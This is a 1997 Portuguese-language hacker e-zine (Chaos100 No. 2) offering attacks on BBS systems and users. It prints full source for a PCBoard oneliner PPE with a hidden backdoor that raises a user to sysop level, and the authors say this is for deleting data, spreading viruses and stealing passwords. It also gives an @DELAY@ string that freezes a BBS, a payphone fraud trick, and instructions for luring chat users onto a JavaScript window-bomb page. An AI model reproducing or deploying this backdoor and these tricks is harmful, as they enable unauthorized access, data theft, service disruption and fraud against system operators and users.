 `$$a ,$$$'   `"$$' ,$$'  $$a,. `$$a ,$$$'  `$$$' `$$'   "$$$sS
"$$$$$$'           `,'         `" $$$$$$$'       `$ ,$'         `
    `$'              $              ` $"           `$'           '   
      ;               ;                !             ;               
                                    ,$a            
     ,$a                              $$$
     $$$             "$"              "$"
     `$'             $$$       %$4$$$$;               ;$$$$4$%
         .,x%$%x,.   ;$;          sss$,   .,x%$%x,. ,$sss    `y
       ,$$$$` '$$$$,  $  ss    .s$4S$s;  ,$$$$` '4$$$ ;s$S4$s. 
       $$$$          ,$,$$$$' $$$$;   $; $$$$     $$$$    ;$$$$ 
       $$$$  c       $$$   ;S $$$$$ a $$ $$$$  o  $$$$    $$$$$ 
       `$$$$   $$$$ ;$$h   $$$`$$$$a  ,$$ $$$$   $$$$    s$$$$`
         `$$$`   ,$,   ,$,  `$$$$$,$$$ `$$$` $$,$$$$$`
            `,"       ;     $    `$'                  `$' 
             ;        $     ;     ;                    ; 
                    ,$,                              -
            ,$,      $$$         ,$,                   $
            `"       `;'         $$$                  ,$,
                                 `;'                  $$$ 
                                                      `;'

       
                      [Chaos100 Productions 1997]
	  
								     
          
=======================================================================
                      Chaos100 Productions 1997                      
                             Setembro 97                              
=======================================================================
                         chaos100@writeme.com
=======================================================================
                 http://www.geocities.com/Pentagon/5140/
=======================================================================
   


05/09/97 - Edicao - Setembro 97


			


                           -.- Chaos100 -.-                                                                                                                                                               
                                 No.2              
                                                                  
   


-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-


 INDICE:
=========
     
     1- iNTRODUCAO
     2- COMO HACKEAR O PCBOARD!
     3- COMO TRAVAR O PCBOARD USANDO @CODE
     4- USANDO TEL PUBLiCO SEM PEDER UNIDADES!     
     5- COMO DEtONAR NO CHAt DA UOL!
     6- ALGUNS LiNKS DE JAVASCRiPT,HTML ETC...  
     7- RULEZ
     8- O QUE VEM DEPOiS
           

-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0


1- [iNtRODUCAO]
  

  Bom vamos comecar pelo atraso. A revista demorou um pouco para sair
  neste mes, mas chegou a tempo! O problema seria lancar a revista de
  Setembro no mes de Outubro!;) 
  E isso ai...agradeo ao pessoal que colaborou e mandou e-mails pra
  ca, dando ideias! Valeu mesmo!
  O sucesso da revista depende de voces!
  
  Recebi tambem muitos e-mails de pessoas querendo receber a revista
  por e-mail, no inicio eu ate achei que ia dar, mas devido ao numero
  de e-mails pedindo a mesma coisa...nao vai dar nao!
  Pra isso to vendo se arranjo um Mailing List pra geral conversar e 
  eu poder passar isso em mensagem que todos possam pegar!
  
  []SuZ

                               [Marvin]


-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0


2- [COMO HACKEAR O PCBOARD?]


  Bom pessoal, primeiro eu vou me apresentar eu sou o Editor Hawk e to
  aqui para mostrar como e ridiculo hackear bbs(PCBOARD), bom mas pra 
  isso ela tem que ter PPE intalado... ai voce faz um PPE que te
  aumente o nivel de usuario para SySop (normalmente 110). Manda esse
  PPE para a bbs e convence o SySop de la instala-lo, se ele nao quiser instalar ai
  voce vai ter que fazer um arquivo executavel que instale o ppe 
  sozinho, muito facil tambem...

  Tudo bem, vamos comecar, essa parte e bem simples, todo mundo que 
  usa ou ja usou PCBoard vai conseguir fazer isso facilmente!
  Bom...tem muita gente por ai que fala que hackeou o PCBoard e tal...
  isso sempre rola, mas conversando com uns amigos meus, vi que
  realmente, isso nao era possivel, ou quase impossivel. A algum tempo
  atras o PCBoard tinha uns BUGS que facilitavam mas atualmente nao,
  nao da se o PCBoard for puro, isso e sem PPE nenhum!
  Por acaso voce ja viu uma BBS grande com 30 linhas ou mais hackeada?
  Nao ne? Isso nao acontece porque eles nao usam PPE ou entao usam PPE
  feito por eles mesmo!
  Isso porque existem PPE com BACKDOOR, isso e, quem fez o PPE colocou
  uma ou mais linhas com um comando que o deixaria com nivel de SySop
  ou acesso ao DOS da BBS. E ai que eu quero chegar, voc fazendo um
  bom PPE com backdoor, facilmente voce tera esse nivel e "mandara"
  no BBS do cara, ira ao DOS, pegara o arquivo que quiser, podera ler
  mensagens privativas e etc!
  Nao vou ensinar a voces como fazer um BACKDOOR porque vai demorar um
  pouco, ento resolvi colocar um BACKDOOR pronto de lambuja pra voces
  usarem! 


=======================================================================
Program: PPE BACKDOOR
Autor: Hawk
E-mail: hawk@biogate.com
Chaos100 Productions 1997
=======================================================================



COMO FAZER
==========

  1- Faa um PPE maneiro.

  2- Acrescente nesse PPE:

    GetUser
    U_Sec = 110
    PutUser

  Isso aumentara o seu nivel para 110.
  e depois voce faz o que quiser com o board, apaga tudo, manda virus,
  pega a lista dos usuarios e suas senhas e etc.


  Aqui vai um linner que eu fiz muito maneiro. Ele funciona da seguinte
  forma:
  Voce escreve qualquer coisa na linner ai ele vai perguntar se voce
  quer salvar, Yes or No(Y/N), ai voce aperto "O" ( letra O de Otario )
  mas tem que ser MAIUSCULA e o seu nivel vai subir para o nivel de
  SySop (110) imediatamente...   ;-D

=======================================================================
PPE: Original da ACID
Arquivo: ACD-1LNE.ZIP  
=======================================================================
Program: PPE BACKDOOR Copyright(c) 1997 Hawk
E-mail: hawk@biogate.com
=======================================================================


===============================[CORtA]=================================


  Integer  INTEGER002
  Integer  INTEGER003
  Integer  INTEGER004
  Integer  INTEGER005
  Integer  INTEGER006
  Integer  INTEGER007
  Integer  INTEGER008
  Integer  INTEGER009
  Integer  INTEGER010
  String   TSTRING001(23)
  String   STRING002
  String   STRING003
  String   STRING004
  String   STRING005
  String   STRING006
  String   STRING007
  String   TSTRING008(18)
  String   STRING009
  String   STRING010
  String   STRING011
  String   STRING012
  String   STRING013
  String   STRING014
  String   STRING015
  String   STRING016
  String   STRING017
  String   STRING018
  String   STRING019
  String   STRING020
  String   STRING021
  String   STRING022
  String   STRING023
  String   STRING024
  String   STRING025
  String   STRING026
  String   STRING027
  String   STRING028
  String   STRING029
  String   STRING030
  String   STRING031
  String   STRING032

;----------------------------------------------------------------------

  STRING005 = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`1234567890-=\!#$%^&*()_+|,./?:'"
  If (Exist(PPEPath() + "ACD-1LNE.CFG")) Goto LABEL000
  FCreate 1, PPEPath() + "ACD-1LNE.CFG", 1, 0
  FPutLn 1, "@X08"
  FPutLn 1, "@X07"
  FPutLn 1, "@X0F"
  FPutLn 1, "@X08"
  FPutLn 1, ""
  FPutLn 1, "!"
  FPutLn 1, 7
  FPutLn 1, 52
  FPutLn 1, 11
  FPutLn 1, 12
  FPutLn 1, 14
  FPutLn 1, 21
  FPutLn 1, "~~~~~~~~~~~~~~~~~~~~~~~~~~~Watcher's Oneliners~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  FPutLn 1, "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  FPutLn 1, "1.) Main Color (i.e. default color for oneline entries w/out color codes)"
  FPutLn 1, "2.) Second Color (i.e. default color for the characters preceeding the "
  FPutLn 1, "        oneline entries, choice #4)"
  FPutLn 1, "3.) Third Color (i.e. Highlighted color for lightbar characters in choice #5)"
  FPutLn 1, "4.) Fourth Color (i.e. Normal color for lightbar characters in choice #5)"
  FPutLn 1, "5.) Character which precedes the input oneline entries"
  FPutLn 1, "6.) Character which is lit up in the lightbar"
  FPutLn 1, "7.) Number of oneline entries"
  FPutLn 1, "8.) Length of oneline entries"
  FPutLn 1, "9.) X-Coordinate of left corner of first oneline entry"
  FPutLn 1, "10.) Y-Coordinate of left corner of first oneline entry"
  FPutLn 1, "11.) X-Coordinate of oneline entry box (automatically 54 chars in"
  FPutLn 1, "     length, so make sure your configured ansi supports a box of"
  FPutLn 1, "     that size)"
  FPutLn 1, "12.) Y-Coordinate of oneline entry box (automatically 54 chars in"
  FPutLn 1, "     length, so make sure your configured ansi supports a box of"
  FPutLn 1, "     that size)"
  FClose 1
:LABEL000
  FOpen 1, PPEPath() + "ACD-1LNE.CFG", 0, 0
  FGet 1, STRING009
  FGet 1, STRING010
  FGet 1, STRING011
  FGet 1, STRING014
  FGet 1, STRING012
  FGet 1, STRING013
  FGet 1, INTEGER003
  FGet 1, INTEGER004
  FGet 1, INTEGER005
  FGet 1, INTEGER006
  FGet 1, INTEGER007
  FGet 1, INTEGER008
  FClose 1
  If (Exist(PPEPath() + "ACD-1LNE.DAT")) Goto LABEL001
  FCreate 1, PPEPath() + "ACD-1LNE.DAT", 0, 0
  FPutLn 1, "@X08Watcher of acidic's"
  FPutLn 1, "@X08new oneliner's"
  FPutLn 1, "@X08version 1.00..."
  FPutLn 1, "@X08Look for future"
  FPutLn 1, "@X08updates to current"
  FPutLn 1, "@X08ppe's and new"
  FPutLn 1, "@X08releases..."
  FClose 1
:LABEL001
  FOpen 1, PPEPath() + "ACD-1LNE.DAT", 0, 0
  INTEGER009 = 1
:LABEL002
  If (!(((1 < 0) && (INTEGER009 >= INTEGER003)) || ((1 >= 0) && (INTEGER009 <= INTEGER003)))) Goto LABEL003
  FGet 1, TSTRING001(INTEGER009)
  INTEGER009 = INTEGER009 + 1
  Goto LABEL002
:LABEL003
  FClose 1
  Cls
  Print "@POFF@"
  DispFile PPEPath() + "ACD-1LNE.ANS", 1
  INTEGER009 = 1
:LABEL004
  If (!(((1 < 0) && (INTEGER009 >= INTEGER003)) || ((1 >= 0) && (INTEGER009 <= INTEGER003)))) Goto LABEL005
  AnsiPos INTEGER005, INTEGER006 - 1 + INTEGER009
  Print TSTRING001(INTEGER009)
  INTEGER009 = INTEGER009 + 1
  Goto LABEL004
:LABEL005
  Goto LABEL009
:LABEL006
  STRING004 = Inkey()
  STRING002 = Upper(STRING004)
  If ((((STRING002 == "A") || (STRING002 == "UP")) || (STRING002 == "LEFT"))) Goto LABEL007
  If (((((STRING002 == "DOWN") || (STRING002 == "RIGHT")) || (STRING002 == " ")) || (STRING002 == "Z"))) Goto LABEL008
  If ((STRING002 == Chr(13))) Goto LABEL011
  Goto LABEL006
:LABEL007
  If ((STRING003 == 1)) Goto LABEL010
  If ((STRING003 == 2)) Goto LABEL009
:LABEL008
  If ((STRING003 == 1)) Goto LABEL010
  If ((STRING003 == 2)) Goto LABEL009
:LABEL009
  AnsiPos INTEGER007, INTEGER008
  Print STRING009 + "[" + STRING011 + STRING013 + STRING009 + "] leave to main menu [" + STRING011 + STRING013 + STRING009 + "] * " + STRING009 + "[" + STRING014 + STRING013 + STRING009 + "] enter a one-liner [" + STRING014 + STRING013 + STRING009 + "]"
  AnsiPos 1, 1
  STRING003 = 1
  Goto LABEL006
:LABEL010
  AnsiPos INTEGER007, INTEGER008
  Print STRING009 + "[" + STRING014 + STRING013 + STRING009 + "] leave to main menu [" + STRING014 + STRING013 + STRING009 + "] * " + STRING009 + "[" + STRING011 + STRING013 + STRING009 + "] enter a one-liner [" + STRING011 + STRING013 + STRING009 + "]"
  AnsiPos 1, 1
  STRING003 = 2
  Goto LABEL006
:LABEL011
  If ((STRING003 == 1)) Goto LABEL017
  AnsiPos INTEGER007, INTEGER008
  If ((INTEGER004 >= 54)) Print Space(INTEGER004)
  If ((INTEGER004 < 54)) Print Space(54)
  AnsiPos INTEGER007, INTEGER008
  Print STRING010 + STRING012
  InputStr "_", STRING006, 15, INTEGER004, STRING005, 16
  If ((Len(STRING006) == 0)) Goto LABEL009
  AnsiPos INTEGER007, INTEGER008
  If ((INTEGER004 >= 54)) Print Space(INTEGER004)
  If ((INTEGER004 < 54)) Print Space(54)
  AnsiPos INTEGER007, INTEGER008
  If ((INTEGER004 >= 54)) Print Space(INTEGER004)
  If ((INTEGER004 < 54)) Print Space(54)
  INTEGER009 = 1
:LABEL012
  If (!(((1 < 0) && (INTEGER009 >= INTEGER003)) || ((1 >= 0) && (INTEGER009 <= INTEGER003)))) Goto LABEL014
  AnsiPos INTEGER005, INTEGER006 - 1 + INTEGER009
  Print Space(INTEGER004)
  AnsiPos INTEGER005, INTEGER006 - 1 + INTEGER009
  If (!(INTEGER009 == INTEGER003)) Goto LABEL013
  Print STRING006
  Goto LABEL014
:LABEL013
  Print TSTRING001(INTEGER009 + 1)
  INTEGER009 = INTEGER009 + 1
  Goto LABEL012
:LABEL014
  INTEGER010 = (INTEGER004 - 10) / 2
  AnsiPos INTEGER007 + INTEGER010, INTEGER008
  InputStr STRING009 + "Save This", STRING007, 15, 1, "YNynO", 8
  If (("" == Chr(79))) Goto LABEL018
  If ((STRING007 == "")) STRING007 = "Y"
  If (!(STRING007 == "Y")) Goto LABEL017
  TSTRING001(INTEGER003 + 1) = STRING009 + STRING006
  Delete PPEPath() + "ACD-1LNE.DAT"
  FCreate 1, PPEPath() + "ACD-1LNE.DAT", 1, 0
  INTEGER009 = 1
:LABEL015
  If (!(((1 < 0) && (INTEGER009 >= INTEGER003)) || ((1 >= 0) && (INTEGER009 <= INTEGER003)))) Goto LABEL016
  If ((INTEGER009 <> 1)) FPutLn 1, TSTRING001(INTEGER009)
  INTEGER009 = INTEGER009 + 1
  Goto LABEL015
:LABEL016
  FPutLn 1, STRING009 + STRING006
  FClose 1
:LABEL017
  Cls
  AnsiPos 36, 1
  INTEGER002 = 1.25
  STRING015 = "@X08"
  STRING016 = "@X07"
  STRING017 = "@X0F"
  TSTRING008(1) = "watcher[acidic]"
  STRING018 = Mid(TSTRING008(1), 1, 1)
  STRING019 = Mid(TSTRING008(1), 2, 1)
  STRING020 = Mid(TSTRING008(1), 3, 1)
  STRING021 = Mid(TSTRING008(1), 4, 1)
  STRING022 = Mid(TSTRING008(1), 5, 1)
  STRING023 = Mid(TSTRING008(1), 6, 1)
  STRING024 = Mid(TSTRING008(1), 7, 1)
  STRING025 = Mid(TSTRING008(1), 8, 1)
  STRING026 = Mid(TSTRING008(1), 9, 1)
  STRING027 = Mid(TSTRING008(1), 10, 1)
  STRING028 = Mid(TSTRING008(1), 11, 1)
  STRING029 = Mid(TSTRING008(1), 12, 1)
  STRING030 = Mid(TSTRING008(1), 13, 1)
  STRING031 = Mid(TSTRING008(1), 14, 1)
  STRING032 = Mid(TSTRING008(1), 15, 1)
  TSTRING008(2) = STRING016 + STRING018 + STRING015 + "atcher[acidic]"
  TSTRING008(3) = STRING017 + STRING018 + STRING016 + STRING019 + STRING015 + "tcher[acidic]"
  TSTRING008(4) = STRING016 + STRING018 + STRING017 + STRING019 + STRING016 + STRING020 + STRING015 + "cher[acidic]"
  TSTRING008(5) = STRING015 + STRING018 + STRING016 + STRING019 + STRING017 + STRING020 + STRING016 + STRING021 + STRING015 + "her[acidic]"
  TSTRING008(6) = STRING015 + STRING018 + STRING019 + STRING016 + STRING020 + STRING017 + STRING021 + STRING016 + STRING022 + STRING015 + "er[acidic]"
  TSTRING008(7) = STRING015 + STRING018 + STRING019 + STRING020 + STRING016 + STRING021 + STRING017 + STRING022 + STRING016 + STRING023 + STRING015 + "r[acidic]"
  TSTRING008(8) = STRING015 + STRING018 + STRING019 + STRING020 + STRING021 + STRING016 + STRING022 + STRING017 + STRING023 + STRING016 + STRING024 + STRING015 + "[acidic]"
  TSTRING008(9) = STRING015 + STRING018 + STRING019 + STRING020 + STRING021 + STRING022 + STRING016 + STRING023 + STRING017 + STRING024 + STRING016 + STRING025 + STRING015 + "acidic]"
  TSTRING008(10) = STRING015 + STRING018 + STRING019 + STRING020 + STRING021 + STRING022 + STRING023 + STRING016 + STRING024 + STRING017 + STRING025 + STRING016 + STRING026 + STRING015 + "cidic]"
  TSTRING008(11) = STRING015 + STRING018 + STRING019 + STRING020 + STRING021 + STRING022 + STRING023 + STRING024 + STRING016 + STRING025 + STRING017 + STRING026 + STRING016 + STRING027 + STRING015 + "idic]"
  TSTRING008(12) = STRING015 + STRING018 + STRING019 + STRING020 + STRING021 + STRING022 + STRING023 + STRING024 + STRING025 + STRING016 + STRING026 + STRING017 + STRING027 + STRING016 + STRING028 + STRING015 + "dic]"
  TSTRING008(13) = STRING015 + STRING018 + STRING019 + STRING020 + STRING021 + STRING022 + STRING023 + STRING024 + STRING025 + STRING026 + STRING016 + STRING027 + STRING017 + STRING028 + STRING016 + STRING029 + STRING015 + "ic]"
  TSTRING008(14) = STRING015 + STRING018 + STRING019 + STRING020 + STRING021 + STRING022 + STRING023 + STRING024 + STRING025 + STRING026 + STRING027 + STRING016 + STRING028 + STRING017 + STRING029 + STRING016 + STRING030 + STRING009 + "c]"
  TSTRING008(15) = STRING015 + STRING018 + STRING019 + STRING020 + STRING021 + STRING022 + STRING023 + STRING024 + STRING025 + STRING026 + STRING027 + STRING028 + STRING016 + STRING029 + STRING017 + STRING030 + STRING016 + STRING031 + STRING015 + "]"
  TSTRING008(16) = STRING015 + STRING018 + STRING019 + STRING020 + STRING021 + STRING022 + STRING023 + STRING024 + STRING025 + STRING026 + STRING027 + STRING028 + STRING029 + STRING016 + STRING030 + STRING017 + STRING031 + STRING016 + STRING032
  TSTRING008(17) = STRING015 + STRING018 + STRING019 + STRING020 + STRING021 + STRING022 + STRING023 + STRING024 + STRING025 + STRING026 + STRING027 + STRING028 + STRING029 + STRING030 + STRING016 + STRING031 + STRING017 + STRING032
  TSTRING008(18) = STRING015 + STRING018 + STRING019 + STRING020 + STRING021 + STRING022 + STRING023 + STRING024 + STRING025 + STRING026 + STRING027 + STRING028 + STRING029 + STRING030 + STRING031 + STRING016 + STRING032
  INTEGER009 = 1
:LABEL018
  GetUser
  U_Sec = 110
  PutUser
:LABEL019
  If (!(((1 < 0) && (INTEGER009 >= 18)) || ((1 >= 0) && (INTEGER009 <= 18)))) Goto LABEL020
  AnsiPos 32, 1
  PrintLn TSTRING008(INTEGER009)
  AnsiPos 32, 1
  Delay INTEGER002
  INTEGER009 = INTEGER009 + 1
  Goto LABEL019
:LABEL020
  INTEGER009 = 18
:LABEL021
  AnsiPos 32, 1
  PrintLn TSTRING008(INTEGER009)
  AnsiPos 32, 1
  Delay INTEGER002
  Dec INTEGER009
  If ((INTEGER009 == 0)) Goto LABEL022
  Goto LABEL021
:LABEL022
  Newline

EndProc

================================[CORtA]================================
  Voce pode usar apenas as linhas citadas no inicio do texto ou copiar
  todo o PPE! Mas para isso voce tera que pegar o arquivo ACD-1LNE.ZIP
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3- [COMO HACKEAR O PCB COM @CODE]

  
  Bom isso tambem e muito facil, no PCB e no WildCat existem os @code.
  Sao como o nome ja diz codigos que chamam determinados "eventos".
  Exemplo disso sao as horas no PCB @SYSTIME@ ento no lugar aparecera
  o horario!
  Mas existem uns @code que sao mais sacanas, sao os @DELAY, quando um
  @DELAY@  colocado numa liner ou em um chat de BBS que aceite @code
  ele trava automaticamente o BBS!
  Eu ja fiz isso em uma BBS e funcionou muito bem, por sorte o SySop 
  tinha viajado, saiu o final de semana e deixou o BBS ligado,
  resultado o BBS ficou travado o fim de semana todo!
  Bom ai vai...


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Autor: Marvin
E-mail: marvin@biosys.net
Chaos100 Productions 1997
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COMO FAZER
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  Veja se a LINER ou o CHAT aceitam @code, teste primeiro, ponha um @ 
  na LINER ou no CHAT se o @ aparecer e porque ele aceita.


1- Coloque @DELAY: + numeros + @
2- Quanto maior o numero mais tempo ficara travado!
3- Tudo com letra maiuscula!
4- Nao se esqueca do @ no fim!

Ex: @DELAY:999999999999999@ ( Vai ficar um bom tempo travado ).

* E infalivel, nao tem erro, se a LINER ou CHAT aceitar o @code vai 
  travar a BBS na hora!

Obx: Use o @code apenas em BBS de SySop babaca que quer cobrar por um
     sistema mediocre.


-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-
 

4- [USANDO TELEFONE PUBLiCO SEM PERDER UNIDADES]

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Autor: Hawk
E-mail: hawk@biogate.com
Chaos100 Productions 1997
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  Tem muita revista por ai falando sobre isso, mas nenhuma das ideias
  que eles poe na revista funciona!
  Ai vai uma que e testada e aprovada, funciona mesmo!
  E bem simples, qualquer orelhao a cartao aceita isso.


COMO FAZER
==========

1- Ponha o cartao e ligue normalmente
2- Quando a pessoa atender aperte o 0(zero) e segure.
3- Pronto agora suas fichas (unidades do cartao) nao vao cair mais!

Obx: Nao solte o dedo do 0(zero) se nao as fichas vao voltar a cair,
     essa e a parte chata!



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5- [COMO DEtONAR NO CHAt DA UOL]


  Detonar no chat da UOL e bem facil, o chat de la aceita HTML TAG
  entao fica facil colocar um link que leve a algum lugar ou colocar
  imagens!
  Segue abaixo uma ideia de como detonar todo mundo na UOL!

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Autor: Marvin
E-mail: marvin@biosys.net
Chaos100 Productions 1997
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COMO FAZER
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1- Faa um link para que todos possam clicar sobre ele.

 <a href=endero de sua escolha>Clique Aqui!</a>

2- Neste endereo devera ter uma pagina que tenha um JavaScript Bomb,
   assim quando a pessoa clicar entrara nessa pagina, o JavaScript
   ira carregar e abrira por exemplo um monte de janelas no Netscape
   do cara!
   Fazendo com que ele tenha que desligar. Nao tem jeito o cara vai
   ter que desligar porque nao ha como fechar as janelas!

3- Ou entao ponha uma linha no link para que ele apenas passe o mouse
   sobre o link e no passar do mouse as janelas se abram!

4- Existem varios outros JavaScript Bomb e so procurar!


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6- [LiNKS DE JAVASCRiPt E HtML]


-HTML Goodies
http://www.htmlgoodies.com

-JavaScripts.com
http://www.javascripts.com

-HTML Help
http://www.htmlhelp.com

-JAVA
http://www.sun.com



Obx: No JavaScripts.com tem JavaScript Bomb! 



-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-



7- [RULeZ]
   

  Falo all...a revista demorou um pouco mais chegou a tempo!
  Se precisarem de ajuda ou qualquer coisa e so mandar um e-mail, que
  nos teremos prazer em responder!
  Que que adianta eu fazer uma revista com a intencao de atingir a 
  todos e nao explicar alguma duvida ou dar alguma informacao como 
  outras revista fazem por ai. Realmente nao faz o menor sentido!


  Mandem e-mail dando ideias para alguns titulos que nos pesquisaremos
  e publicaremos a materia!
  Mandem cartas tambm que ns publicaremos, dependendo da carta!


  Lembrando que o nosso dominio ta chegando hein!
  Com bastante espao de HD pra detonar tudo.
  []SuZ 


-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-


8- [O QUE VEM DEPOIS?]

  Bom a revista sai de mes em mes entao fique ligado!
  
  No proximo mes:
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1- Como usar card numbers
2- Windows95 Fast Tips
3- Conectando o Dial-Up a Internet [!BONUS!]
4- Links de Warez
5- Como mandar e-mail bomb



Obx: Esses sao os possiveis titulos, nao quer dizer que vai ser isso
     mesmo, pode aparecer algo mais interessante!

  Mande seu email para nos!

  chaos100@writeme.com

  HOME-PAGE: http://www.geocities.com/Pentagon/5140/


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Editores
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Marvin
Hawk

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                      Chaos100 Productions 1997                      
                             Setembro 97                              
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                         chaos100@writeme.com
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                 http://www.geocities.com/Pentagon/5140/
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